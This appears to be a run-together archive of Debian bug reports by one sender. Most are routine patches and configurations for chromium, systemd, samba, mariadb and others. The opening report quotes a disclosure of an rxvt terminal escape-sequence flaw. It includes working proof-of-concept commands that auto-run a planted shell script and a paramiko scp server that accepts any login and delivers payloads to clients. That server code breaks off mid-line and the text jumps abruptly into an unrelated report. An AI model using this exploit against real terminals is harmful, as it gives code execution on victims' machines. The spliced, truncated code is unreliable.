Please see message on Full-Disclosure mailing list:
https://seclists.org/fulldisclosure/2021/May/33
(quoted below, for completeness).
Please fix.
Thanks, Paul
Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz
School of Mathematics and Statistics University of SydneyAustralia
Quoting messasge:
From: def
To:
Date: Sun, 16 May 2021 15:32:48 +0300
Subject: [FD] (u)rxvt terminal (+bash) remoteish code execution 0day
#!/usr/bin/env python
# Title: rxvt (remote) code execution over scp with $SHELL=/bin/bash (0day)
# Version: rxvt 2.7.10, rxvt-unicode 9.22
# Author: def
# Date: 2021-05-16
# CVE: N/A
#
#--
# (U)RXVT VULNERABILITY
#
# In rxvt-based terminals, ANSI escape sequence ESC G Q (\eGQ, \033GQ, \x1bGQ)
# queries the availability of graphics and the response is received from stdin.
# However, rxvt responds to the query with a newline-terminated message, which
# is retarded and exposes goatse-wide gaping security holes in many popular CLI
# programs when executed inside an rxvt terminal window.
#
# [def@arch ~]$ printf '\eGQ'
# ^[G0
# [def@arch ~]$ 0
# bash: 0: command not found
#
# The latter command (i.e., 0) executes automatically without user interaction.
# The contents of the second command can be somewhat controlled by chaining the
# printf message with other escape sequences. In particular, a VT52 mode escape
# sequence \eZ prepends a letter Z and triggers bash's tab completion, allowing
# the construction of relative paths and, therefore, code execution in the form
# of running (planted) files from subdirectories in the current directory.
#
# URXVT (+BASH) CODE EXECUTION PROOF-OF-CONCEPT ---
#
# % mkdir -p ZZZ && echo 'uname -a; id; date; sh -i' >ZZZ/0 && chmod +x ZZZ/0
# % urxvt -e bash
#
# [def@arch ~]$ printf '\e[?2l\eZ\e<\eGQ'
# ^[/Z^[G0
# [def@arch ~]$ ZZZ/0
# Linux 5.11.1-arch-1 #1 SMP PREEMPT Tue, 23 Feb 2021 14:05:30 x86_64 GNU/Linux
# uid=1000(def) gid=1001(def) groups=1001(def),43(tor),998(wheel),999(adm)
# Sun Apr 18 04:25:22 AM EEST 2021
# sh-5.1$
#
# FIX -
#
# Don't use rxvt or any of its derivatives. Stay the fuck away from xterm also.
#
# st(1) is a viable solution if you ever plan to `cat /var/log/access.log` or
# otherwise handle untrusted data from questionable sources.
#
#--
import logging
import paramiko
import socket
import threading
logging.basicConfig(level=logging.INFO)
"""
This script implements a scp server that exploits insecure ANSI escape sequence
handling in client's (u)rxvt terminal (and bash shell). A recursive (-r) copy
into the current directory leads to code execution. For example:
$ scp -r -P user@localhost:/backup/or/whatever/ .
The above command transfers payload files ZZZ/0, ZZZ/1 and ZZZ/Z0 to the client
and executes one of them (the executed payload depends on the rxvt version).
"""
bind = ('localhost', )
payload = '#!/bin/sh\nuname -a; id; date; sh -i\n'
class ScpExploitServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def get_allowed_auths(self, username):
return "password"
def check_auth_none(self, username):
logging.info('Authenticating as %s', username)
return paramiko.AUTH_SUCCESSFUL
def check_auth_password(self, username, password):
logging.info('Authenticating with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
logging.info('Opening %s channel %d', kind, chanid)
if kind != "session":
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
return paramiko.OPEN_SUCCEEDED
def check_channel_exec_request(self, channel, command):
chanid, command = channel.get_id(), command.decode('ascii')
logging.info('Approving channel %d exec request: %s', chanid, command)
parts = command.split()
assert len(parts) > 2 and parts[0] == 'scp' and '-f' in parts
threading.Thread(target=self.exploit, args=[channel]).start()
return True
def exploit(self, channel):
def wait(): assert channel.recv(4096) == b'\x00'
def send(): channel.sendall(b'\x00')
fdir, fname0, fname1, fname2 = 'ZZZ', '0', '1', 'Z0'
wait()
# (1) Create subdirectory './ZZZ/'
logging.info('Enter
Bug#695182: linux-image-3.2.0-4-686-pae: Write couple of 1GB files for OOM crash
I no longer use 32-bit kernels (but use the 64-bit amd64 kernel, even on my few last remaining 32-bt machines): that seems a suitable workaround or upgrade path. Should I try to test whether the issue with PAE remains? Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia I support NTEU members taking a stand for workplace rights in the face of poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
Bug#949440: Merged 949432 and 949440: does the same workaround solve?
I wonder why 949432 and 949440 were merged? I do not see confirmation whether 949432 is solved by the same workaround of 949440. Thanks, Paul -- Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia I support NTEU members taking a stand for workplace rights in the face of poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
Bug#956084: inetutils-telnetd: CVE-2020-10188
Package: inetutils-telnetd Severity: critical Tags: security Justification: root security hole Looking in https://security-tracker.debian.org/tracker/CVE-2020-10188 : utility.c in telnetd in netkit telnet through 0.17 allows remote attackers to execute arbitrary code via short writes or urgent data, because of a buffer overflow involving the netclear and nextitem functions. Seems to me that inetutils contains the same (vulnerable) utility.c functions. Please check. Cheers, Paul Paul Szabo p...@maths.usyd.edu.au www.maths.usyd.edu.au/u/psz School of Mathematics and Statistics University of SydneyAustralia
Bug#949440: chromium: Blank window when used over ssh tunnel
It now seems to me that the issue is with MIT-SHM, that the code to
detect whether MIT-SHM is working (so whether to enable) is "broken".
Using the workaround below, fudging MIT-SHM to report as not present:
cc -shared -o XlibNoSHM.so XlibNoSHM.c
LD_PRELOAD='libdl.so ./XlibNoSHM.so' chromium
solves the issue for me. (That code is "ancient", with comments about
some old Firefox; the Firefox issue was fixed some time ago.)
Cheers, Paul
--
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
I support NTEU members taking a stand for workplace rights in the face of
poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
/*
* Firefox47 and above has a "bug":
* https://bugzilla.mozilla.org/show_bug.cgi?id=1271100
* Firefox attempts to use the X (X11, X-windows) extension MIT-SHM.
* It is "known" that MIT-SHM can only work on "local" displays. However:
* - some X servers report supporting MIT-SHM even on remote (e.g.
*TCP-connected) displays. (Maybe "right" so not a bug: the client
*might have access to the X server machine.)
* - the ssh "port forwarding" feature makes both the X server and client
*appear to be "local" (somewhat: using TCP localhost, not Unix domain
*sockets); and ssh makes no attempt to intercept or disable MIT-SHM.
* To work around this confusion, when we know MIT-SHM should not be used,
* (in the client application) we fudge the returns of the
* XQueryExtension
* XListExtensions
* XShmQueryExtension
* XShmQueryVersion
* to "hide" the MIT-SHM extension.
* (Firefox48 only uses XQueryExtension, others for future robustness.)
*
* Firefox already has code to detect when MIT-SHM is not working, but that
* does not seem reliable enough. Maybe in future (from FF50 or 51) it will
* use XCB instead of Xlib and then its detection will work better; if not,
* a similar workaround will be needed.
*
* May need to explicitly mention /usr/lib/libdl.so in LD_PRELOAD
* (or could or should it be /lib/libdl-2.11.3.so ?), otherwise ...?
*
* Compile and build library:
cc -shared -o XlibNoSHM.so XlibNoSHM.c
* to be used with
* LD_PRELOAD='libdl.so ./XlibNoSHM.so' firefox
*/
#include
#include
#include
#include
#define LIBXLIB "libXext.so"
Bool XQueryExtension(Display* dpl, _Xconst char* name, int* major, int* event, int* error)
{
static Bool (*original_XQueryExtension)(Display*, _Xconst char*, int*, int*, int*) = NULL;
/* printf("Got XQueryExtension %s\n",name); */
if (!strcmp(name,"MIT-SHM")) {
/* printf("Returning False for XQueryExtension %s\n",name); */
*major = 0;
return False;
}
if (!original_XQueryExtension) {
void *handle = dlopen(LIBXLIB, RTLD_LAZY);
if (!handle) return False;
original_XQueryExtension = dlsym(handle, "XQueryExtension");
if (!original_XQueryExtension) return False;
}
/* printf("Doing original_XQueryExtension ...\n"); */
return original_XQueryExtension(dpl, name, major, event, error);
}
char** XListExtensions(Display* dpl, int* nexts)
{
static char** (*original_XListExtensions)(Display*, int*) = NULL;
char** extNames;
int i;
/* printf("Got XListExtensions\n"); */
if (!original_XListExtensions) {
*nexts = 0;
void *handle = dlopen(LIBXLIB, RTLD_LAZY);
if (!handle) return NULL;
original_XListExtensions = dlsym(handle, "XListExtensions");
if (!original_XListExtensions) return NULL;
}
/* printf("Doing original_XListExtensions ...\n"); */
extNames = original_XListExtensions(dpl, nexts);
if (extNames && *nexts > 0) {
for (i = 0; i < *nexts; ++i) {
if (extNames[i] && !strcmp(extNames[i],"MIT-SHM")) {
/* printf("Replacing MIT-SHM by No-... in XListExtensions output\n"); */
(void)strncpy(extNames[i],"No-",3);
}
}
}
return extNames;
}
Bool XShmQueryExtension(Display* display)
{
/* printf("Returning False for XShmQueryExtension\n",); */
return False;
}
Bool XShmQueryVersion(Display *display, int *major, int *minor, Bool *pixmaps)
{
/* printf("Returning False for XShmQueryVersion\n",); */
return False;
}
Bug#949440: chromium: Blank window when used over ssh tunnel
Package: chromium Version: 79.0.3945.130-1~deb10u1 Severity: normal Up until version 78, chromium (and google-chrome) worked just fine. Since the update to version 79, chromium (and google-chrome) does not work over an ssh tunnel, but only shows a blank (grey?) window. To reproduce: connect to some remote (or very same) machine with "ssh -X user@machine" and run chromium there. For google-chrome, I found a workaround: using the option --use-gl=swiftshader allows it to work (even over ssh), but the same option does not help for chromium. See also: https://support.google.com/chrome/thread/23330705 Thanks, Paul Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia -- System Information: Debian Release: 10.2 APT prefers stable APT policy: (500, 'stable') Architecture: amd64 (x86_64) Kernel: Linux 4.19.67-pk10.17-amd64 (SMP w/64 CPU cores) Locale: LANG=C.UTF-8, LC_CTYPE=C.UTF-8 (charmap=UTF-8), LANGUAGE=C.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Init: systemd (via /run/systemd/system) Versions of packages chromium depends on: ii chromium-common 79.0.3945.130-1~deb10u1 ii libasound2 1.1.8-1 ii libatk-bridge2.0-0 2.30.0-5 ii libatk1.0-0 2.30.0-2 ii libatomic1 8.3.0-6 ii libatspi2.0-02.30.0-7 ii libavcodec58 7:4.1.4-1~deb10u1 ii libavformat587:4.1.4-1~deb10u1 ii libavutil56 7:4.1.4-1~deb10u1 ii libc62.28-10 ii libcairo-gobject21.16.0-4 ii libcairo21.16.0-4 ii libcups2 2.2.10-6+deb10u1 ii libdbus-1-3 1.12.16-1 ii libdrm2 2.4.97-1 ii libevent-2.1-6 2.1.8-stable-4 ii libexpat12.2.6-2+deb10u1 ii libflac8 1.3.2-3 ii libfontconfig1 2.13.1-2 ii libfreetype6 2.9.1-3+deb10u1 ii libgcc1 1:8.3.0-6 ii libgdk-pixbuf2.0-0 2.38.1+dfsg-1 ii libglib2.0-0 2.58.3-2+deb10u2 ii libgtk-3-0 3.24.5-1 ii libharfbuzz0b2.3.1-1 ii libicu63 63.1-6 ii libjpeg62-turbo 1:1.5.2-2+b1 ii libjsoncpp1 1.7.4-3 ii liblcms2-2 2.9-3 ii libminizip1 1.1-8+b1 ii libnspr4 2:4.20-1 ii libnss3 2:3.42.1-1+deb10u2 ii libopenjp2-7 2.3.0-2 ii libopus0 1.3-1 ii libpango-1.0-0 1.42.4-7~deb10u1 ii libpangocairo-1.0-0 1.42.4-7~deb10u1 ii libpci3 1:3.5.2-1 ii libpng16-16 1.6.36-6 ii libpulse012.2-4+deb10u1 ii libre2-5 20190101+dfsg-2 ii libsnappy1v5 1.1.7-1 ii libstdc++6 8.3.0-6 ii libvpx5 1.7.0-3+deb10u1 ii libwebp6 0.6.1-2 ii libwebpdemux20.6.1-2 ii libwebpmux3 0.6.1-2 ii libx11-6 2:1.6.7-1 ii libx11-xcb1 2:1.6.7-1 ii libxcb1 1.13.1-2 ii libxcomposite1 1:0.4.4-2 ii libxcursor1 1:1.1.15-2 ii libxdamage1 1:1.1.4-3+b3 ii libxext6 2:1.3.3-1+b2 ii libxfixes3 1:5.0.3-1 ii libxi6 2:1.7.9-1 ii libxml2 2.9.4+dfsg1-7+b3 ii libxrandr2 2:1.5.1-1 ii libxrender1 1:0.9.10-1 ii libxslt1.1 1.1.32-2.2~deb10u1 ii libxss1 1:1.2.3-1 ii libxtst6 2:1.2.3-1 ii zlib1g 1:1.2.11.dfsg-1 Versions of packages chromium recommends: ii chromium-sandbox 79.0.3945.130-1~deb10u1 Versions of packages chromium suggests: pn chromium-driver ii chromium-l10n79.0.3945.130-1~deb10u1 pn chromium-shell Versions of packages chromium-common depends on: ii x11-utils 7.7+4 ii xdg-utils 1.1.3-1 Versions of packages chromium-common recommends: ii chromium-sandbox 79.0.3945.130-1~deb10u1 ii dunst [notification-daemon]1.3.2-1 ii fonts-liberation 1:1.07.4-9 ii gnome-flashback [notification-daemon] 3.30.0-3 ii gnome-shell [notification-daemon] 3.30.2-11~deb10u1 ii libgl1-mesa-dri18.3.6-2 ii libu2f-udev1.1.9-1 ii notification-daemon3.20.0-4 ii upower 0.99.10-1 ii xfce4-notifyd [notification-daemon]0.4.3-1 Versions of packages chromium-sandbox depends on: ii libatomic1 8.3.0-6 ii libc6 2.28-10 ii libgcc1 1:8.3.0-6 ii libstdc++6 8.3.0-6 -- no debconf information
Bug#908156: xpra cannot create directories in /run
Dear Dmitry, >> I seem to get good results by modifying script /usr/bin/xpra as below. > > Is this still necessary with the latest release from backports? > Which reproducer command exhibits this problem? I just upgraded from stretch to buster, using xpra version 2.4.3+dfsg1-1 (in buster, not backports). The issue did not seem to be present at stretch, was "new" at buster. I start xpra "normally": on my home PC (running some Ubuntu version), use xpra start ssh/psz@work --no-speaker --start-child=xterm connecting to my work server running Debian buster; the error is shown by the work server. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia I support NTEU members taking a stand for workplace rights in the face of poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
Bug#908156: xpra cannot create directories in /run
I seem to get good results by modifying script /usr/bin/xpra as below. Cheers, Paul --- /usr/bin/xpra.bak 2019-01-20 17:23:10.0 +1100 +++ /usr/bin/xpra 2019-12-26 11:17:42.455901905 +1100 @@ -1,5 +1,14 @@ #! /usr/bin/python2 +# PSz 26 Dec 2019 +# Avoid error like: +# Warning: failed to create script directory '/run/user/1001/xpra': +#[Errno 2] No such file or directory: '/run/user/1001/xpra' +#($XDG_RUNTIME_DIR has not been created?) +# We do not have /run/user/UID directories. +import os +os.environ["XDG_RUNTIME_DIR"] = os.environ["HOME"] + "/.xpra" + import sys try: import xpra -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia I support NTEU members taking a stand for workplace rights in the face of poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
Bug#947158: systemd: After=network.target is ineffective
Package: systemd Version: 241-7~deb10u2 Severity: normal Tags: patch Lately (since buster?) I observe that "After=network.target" is ineffective, maybe because dhcpcd runs asynchronously. I seem to get good results by creating a file /etc/network/if-up.d/00waitup with contents as below. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia Contents of /etc/network/if-up.d/00waitup : #!/bin/bash - #V0.1 22 Dec 19 wait for (ensure) interface is up # Paul Szabo p...@maths.usyd.edu.au # Ensure network interface is "up". # DHCP may take long... and at buster it seems to be done asynchronously, # so systemd "After=network.target" is ineffective. # Though neither we, nor any commands we run, should ever fail or # show anything on STDERR: ensure we do not, otherwise ifup may think # we failed, and fail the interface. exec 2>&1 case "$IFACE" in eth* ) echo -E "00waitup: Waiting for $IFACE to be up ...";; * ) echo -E "00waitup: No waiting for $IFACE"; exit;; esac n=0 while :; do LINE="$(ip -o address show $IFACE)" if [ -n "$LINE" ] ; then echo -E "00waitup: $IFACE is up, 'ip -o address show $IFACE' shows '$LINE'" exit fi (( n = $n+1 )) if [ $n -gt 60 ]; then echo -E "00waitup: 'ip -o address show $IFACE' failed, seems down, giving up" exit fi echo -n -E "00waitup: Waiting for $IFACE to come up at "; date sleep 1 done
Bug#946671: [debian-mysql] Bug#946671: mariadb-server-10.3: mysqlhotcopy and transaction_registry table
Dear Otto, > Since that patch is not about Debian packaging, I suggest you > submit it upstream at https://github.com/mariadb/server branch 10.3 > (or latest 10.5). Done: created https://jira.mariadb.org/browse/MDEV-21317 Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia I support NTEU members taking a stand for workplace rights in the face of poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
Bug#946671: mariadb-server-10.3: mysqlhotcopy and transaction_registry table
Package: mariadb-server-10.3
Version: 10.3.18-0+deb10u1
Severity: normal
Tags: patch
Using mysqlhotcopy, I received the error:
DBD::mysql::db do failed: You can't use locks with log tables at
/usr/bin/mysqlhotcopy line 545.
(Your line number may differ: I use my "own" mysqlhotcopy, as per
http://bugs.debian.org/735014 .)
This seems related to the new transaction_registry table
as suggested in
https://mariadb.com/kb/en/library/mysqldump/
that says:
mysqldump in MariaDB 10.3 includes logic to cater for the
mysql.transaction_registry table. ...
My patch for this issue, below.
Cheers, Paul
--- /usr/bin/mysqlhotcopy.OLD 2017-12-26 09:11:27.0 +1100
+++ /usr/bin/mysqlhotcopy 2019-12-13 21:10:34.225611502 +1100
@@ -317,8 +317,24 @@
## keep in sync with mysqldump.
if ($db =~ m/^mysql$/i)
{
+#
+# @dbh_base_tables = grep
+#{ !/^(apply_status|schema|general_log|slow_log)$/ } @dbh_base_tables
+#
+# PSz 13 Dec 2019
+# Skip transaction_registry also.
+# See also:
+# https://bugs.mysql.com/bug.php?id=43594
+# https://bugs.debian.org/574514
+# and see
+# https://mariadb.com/kb/en/library/mysqldump/
+# that says:
+# mysqldump in MariaDB 10.3 includes logic to cater for the
mysql.transaction_registry table. ...
+# but I guess they forgot about mysqlhotcopy.
+#
@dbh_base_tables = grep
-{ !/^(apply_status|schema|general_log|slow_log)$/ } @dbh_base_tables
+{ !/^(apply_status|schema|general_log|slow_log|transaction_registry)$/
} @dbh_base_tables
+#
}
## generate regex for tables/files
--
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
Bug#803013: systemd should not destroy application created cgroups
found 803013 241-7~deb10u1
thanks
Now updating my machines to buster, I see this issue is still present,
now in systemd version 241-7~deb10u1. The same steps can reproduce:
- Set up cgroups e.g. adding TaskIDs to /sys/fs/cgroup/cpu/DIR/tasks
files. (I use cgrulesengd from package cgroup-tools, but any other
use of cgroups is equally affected.)
- Then when you use systemd commands:
systemctl daemon-reload
systemctl start anacron
you will see your cgroups (your tasks files) becoming empty.
Command daemon-reload seems to happen within "apt-get dist-upgrade"
sequences, and "start anacron" happens nightly. (Some other systemd
commands may also affect.)
and the "same" fix applies: new patch file below, for changed sources.
(Funny how this bug is not getting fixed, in four years...)
Thanks, Paul
--
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
I support NTEU members taking a stand for workplace rights in the face of
poorly-run change management. Visit www.nteu.org.au/sydney to learn more.
diff -r -U18 a-241/src/basic/cgroup-util.c b-241/src/basic/cgroup-util.c
--- a-241/src/basic/cgroup-util.c 2019-02-14 21:11:58.0 +1100
+++ b-241/src/basic/cgroup-util.c 2019-09-12 08:53:43.900643247 +1000
@@ -368,36 +368,52 @@
int cg_migrate(
const char *cfrom,
const char *pfrom,
const char *cto,
const char *pto,
CGroupFlags flags) {
bool done = false;
_cleanup_set_free_ Set *s = NULL;
int r, ret = 0;
pid_t my_pid;
assert(cfrom);
assert(pfrom);
assert(cto);
assert(pto);
+/*
+ * PSz 25 Oct 2015
+ * An empty "to" path is surely wrong
+ * (do not annoy cgroups that are not ours).
+ * PSz 23 Jul 2017
+ * Cannot(?) happen anymore, see:
+ * cg_migrate_recursive_fallback()
+ * cg_migrate_everywhere()
+ * below... log if it does!
+ */
+if (!strlen(pto)) {
+log_warning("PSz debug: cg_migrate skip from (%s)%s to (%s)%s", cfrom, pfrom, cto, pto);
+return ret;
+}
+/* log_warning("PSz debug: cg_migrate do from (%s)%s to (%s)%s", cfrom, pfrom, cto, pto); */
+
s = set_new(NULL);
if (!s)
return -ENOMEM;
my_pid = getpid_cached();
do {
_cleanup_fclose_ FILE *f = NULL;
pid_t pid = 0;
done = true;
r = cg_enumerate_processes(cfrom, pfrom, &f);
if (r < 0) {
if (ret >= 0 && r != -ENOENT)
return r;
return ret;
}
@@ -509,36 +525,52 @@
CGroupFlags flags) {
int r;
assert(cfrom);
assert(pfrom);
assert(cto);
assert(pto);
r = cg_migrate_recursive(cfrom, pfrom, cto, pto, flags);
if (r < 0) {
char prefix[strlen(pto) + 1];
/* This didn't work? Then let's try all prefixes of the destination */
PATH_FOREACH_PREFIX(prefix, pto) {
int q;
+/*
+ * PSz 23 Jul 2017
+ * Skip an empty ("") prefix path: surely wrong,
+ * do not annoy cgroups that are not ours.
+ * Other comments:
+ * - Why this "did not work so try something else"?
+ * - Maybe should have used PATH_FOREACH_PREFIX_MORE
+ * for cleaner, more compact code.
+ * - Should check cg_attach_fallback() also, and maybe
+ * review all other uses of PATH_FOREACH_PREFIX.
+ */
+if (!strlen(prefix)) {
+/* log_warning("PSz debug: cg_migrate_recursive_fallback skip from (%s)%s to (%s)[EMPTY prefix of %s]", cfrom, pfrom, cto, pto); */
+continue;
+}
+
q = cg_migrate_recursive(cfrom, pfrom, cto, prefix, flags);
if (q >= 0)
return q;
}
}
return r;
}
static const char *controller_to_dirname(const char *controller) {
const char *e;
assert(controller);
/* Converts a controller name to the directory name below
* /sys/fs/cgroup/ we want to mount it to. Effectively, this
* just cuts off
Bug#912193: Post message upstream
Dear Mathieu, > As Louis said ... please > ask on the samba mailing list, and add a pointer here. I expect that the Samba people will simply tell me to use latest version; and we have 4.5, still. Still, I might contact them sometime; it will take me a while to get there, though (too many "day jobs" to complete first). Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#892105: linux-image-4.9.0-6-amd64: i40e driver still unstable
I use kernel 4.9.130 (my own build from current "stretch" sources, package linux-source-4.9 version 4.9.130-2), and on my new machines with i40e devices, I observe similar, occasional issues: Jan 9 07:30:06 viale kernel: [428469.260531] i40e :19:00.1: cleared PE_CRITERR Jan 9 07:30:06 viale kernel: [428469.260639] i40e :19:00.1: TX driver issue detected, PF reset issued Jan 9 08:47:06 siv kernel: [422993.009196] i40e :19:00.1: cleared PE_CRITERR Jan 9 08:47:06 siv kernel: [422993.013535] i40e :19:00.1 eth1: NIC Link is Down Jan 9 08:47:16 siv kernel: [423002.131389] i40e :19:00.1 eth1: NIC Link is Up 10 Gbps Full Duplex, Flow Control: None Curiously each of those machines only ever show the one type of error (never show an error like the other machine), and both only complain about eth1, never about eth0 (though eth0 is also connected with similar traffic volumes). Following the hints in this bug report, I will try the Intel i40e driver, from (either) https://downloadcenter.intel.com/download/24411/ https://sourceforge.net/projects/e1000/files/i40e%20stable/ Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#910479: hpanel: Sometimes busy and unresponsive
This problem seems to be solved by using the patch below.
Cheers, Paul
--
Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics University of SydneyAustralia
Description: Avoid busy
Seems hpanel is sometimes busy and non-responsive:
https://bugs.debian.org/910479
Maybe because we sometimes delete task twice, and/or re-use
variable after it has been (deleted and) free-d, and/or
because we delete task only to be re-added straight away.
Do not do those things, respect dontdel setting.
Author: Paul Szabo
Bug-Debian: https://bugs.debian.org/910479
Forwarded: no
Last-Update: 2018-11-25
--- hpanel-0.3.2.orig/hpanel.c
+++ hpanel-0.3.2/hpanel.c
@@ -938,30 +938,27 @@
list = tb.task_list;
while (list)
{
list->focused = (focus_win == list->win);
next = list->next;
if (!new_desk)
for (i = num - 1; i >= 0; i--)
if (list->win == win[i])
goto dontdel;
del_task (list->win);
dontdel:
-
-
- if (tb.my_desktop != find_desktop (list->win) || is_hidden (list->win))
- del_task( list->win);
-
+/* if (tb.my_desktop != find_desktop (list->win) || is_hidden (list->win)) */
+/* del_task( list->win); */
list = next;
}
/* add any new windows */
for (i = 0; i < num; i++)
{
if (!find_task (win[i]))
add_task (win[i], (win[i] == focus_win));
}
XFree (win);
Bug#912193: [Pkg-samba-maint] Bug#912193: samba: Ignores UNIX groups
Dear Mathieu, >>> Why your UNIX groups don't match your Windows groups? This is usually >>> the case, with nss_winbind. >> >> My site is mainly Linux; we have secondary groups in the /etc/group >> file. ... >> >>> Alternatively, you can reverse the logic with idmap_nss. >> >> I tried that, did not seem to help. > > And have you tried "winbind use default domain = yes"? Yes I did, and it did not help: even with that setting, "strace" shows that samba does setresuid(1001, 1001, -1) with the UNIX UID/GID, but then also does setgroups(7, [331, 100, 309, 313, 314, 303, 318]) with the "Windows group" GIDs. (The above was when a Windows10 PC did a "map network drive" connecting to a share.) > Can you post your (redacted) smb.conf? Below, as was during the test with "winbind use default domain = yes", in its entirety. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia # Based on Debian "Sample configuration" for version 4.5.12 , # and on configuration we had for rome/bianco at version 3.6.25 . # See documentation: # www.samba.org/samba/docs/3.6/man-html/smb.conf.5.html # www.samba.org/samba/docs/4.5/man-html/smb.conf.5.html # www.samba.org/samba/docs/current/man-html/smb.conf.5.html #== Global Settings == [global] # Server role: "standalone server" or "active directory domain controller". # Running as "active directory domain controller" will require first # running "samba-tool domain provision" to wipe databases and create a # new domain. # server role = standalone server server role = active directory domain controller ### To be "realm = ROMEGROUP.maths.usyd.edu.au" or BIANCOGROUP.maths.usyd.edu.au realm = P639GROUP.maths.usyd.edu.au ### To be "workgroup = ROMEGROUP" or BIANCOGROUP workgroup = P639GROUP # Do not need: #netbios name = P639 preferred master = yes domain master = yes local master = yes ### On rome to be "os level = 65", on bianco to be "os level = 63" os level = 61 ### On rome only, to be "wins support = yes" # wins support = no ### On rome only, "wins server" to be un-set wins server = rome.maths.usyd.edu.au ### On rome only, to be "time server = yes" # time server = yes # We do not have xattr, see: # https://wiki.samba.org/index.php/File_System_Support#Testing_your_filesystem #posix:eadb = /etc/samba/private/eadb.tdb # or as set by "samba-tool domain provision" if run without a smb.conf file: #xattr_tdb:file = /var/lib/samba/xattr.tdb xattr_tdb:file = /etc/samba/private/xattr.tdb name resolve order = wins lmhosts bcast host # Do not search for NetBIOS names through DNS. dns proxy = no dns forwarder = 129.78.69.129 hostname lookups = yes ### On bianco use "hosts allow = ..." ### hosts allow = p8268.pc.maths.usyd.edu.au p709.pc.maths.usyd.edu.au p826jm.pc.maths.usyd.edu.au p6392.pc.maths.usyd.edu.au 129.78.69.0/255.255.255.192 security = USER # Seems that # default auth method list for server role = 'active directory domain controller' # is # auth methods = trustdomain ntdomain guest sam sam_ignoredomain winbind unix wbc samba4 auth methods = guest sam ### Need downgrade for Win7/Win10 machines ??!! ntlm auth = yes # Keep things in a "well-known" place private dir = /etc/samba/private # Would want old smbpasswd in proper place. # But, it seems that smbpasswd is not used with and AD DC: even with # setting "passdb backend = smbpasswd", the .../bin/smbpasswd command # would update file # ???, instead. # passdb backend = smbpasswd:/etc/samba/private/smbpasswd # Could we use "pdbedit -i smbpasswd -e xyz" to convert? # We create users and machines "manually" with smbpasswd: no PAM, no password sync # Different from 3.6.25 and contrary(?!) to documentation, we seem to have: # %U %G : Unix user, group # %u %g : Windows user, group # e.g.: # U=psz G=amstaff u=P639GROUP\psz g=users # U= G=%G u=NT_AUTHORITY\ANONYMOUS_LOGON g=313 # U= G=? u=smbguest g=? # U=P6392_ G=? u=P639GROUP\p6392_ g=? domain logons = yes logon drive = h: logon home = \\%L\home logon path = \\%L\profile\.profiles logon script = %g.bat utmp = yes invalid users = root guest account = smbguest guest ok = yes ### On rome to be "map to guest = Bad User" map to guest = Never # We may have some files shared from NF
Bug#912193: [Pkg-samba-maint] Bug#912193: samba: Ignores UNIX groups
Sorry, my typo. I just wrote: ... and does seem to add those ... but of course I meant to say: ... and does NOT seem to add those ... Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
Bug#912193: [Pkg-samba-maint] Bug#912193: samba: Ignores UNIX groups
Dear Mathieu, > Why your UNIX groups don't match your Windows groups? This is usually > the case, with nss_winbind. My site is mainly Linux; we have secondary groups in the /etc/group file. I am trying to move from Samba3 to the Debian Samba4, setting up Samba as an AD DC (for Windows10). I have the libnss-winbind package. Still, Samba (winbidd?) seems to create separate "Domain\user" entities, and does seem to add those to the groups that the Linux user belongs to. > Alternatively, you can reverse the logic with idmap_nss. I tried that, did not seem to help. >> (Seems to me that Samba4.9 suffers from the same issue.) > Have you tried it? ... I had tried to build Samba 4.9.1 the "Debian way", following the method in the "experimental" packages, but failed on my "stretch" machine due to some version incompatibility issues. (Did not try the "native way" with configure/make, thought it would be best to follow Debian.) > ... This part of the code has changed a lot. The file source3/auth/auth_util.c did not change that much between 4.5.12 and 4.9.1, the "essence" of my patch still seems to apply (though not the patch file I posted). > Also please note that we don't accept patches that are not merged > upstream first. > Additionnaly, this patch target stable while it's not a security or > stability patch. Understood. I have been using my own Samba for years, can keep doing that. Cheers, Paul -- Paul Szabo p...@maths.usyd.edu.au http://www.maths.usyd.edu.au/u/psz/ School of Mathematics and Statistics University of SydneyAustralia
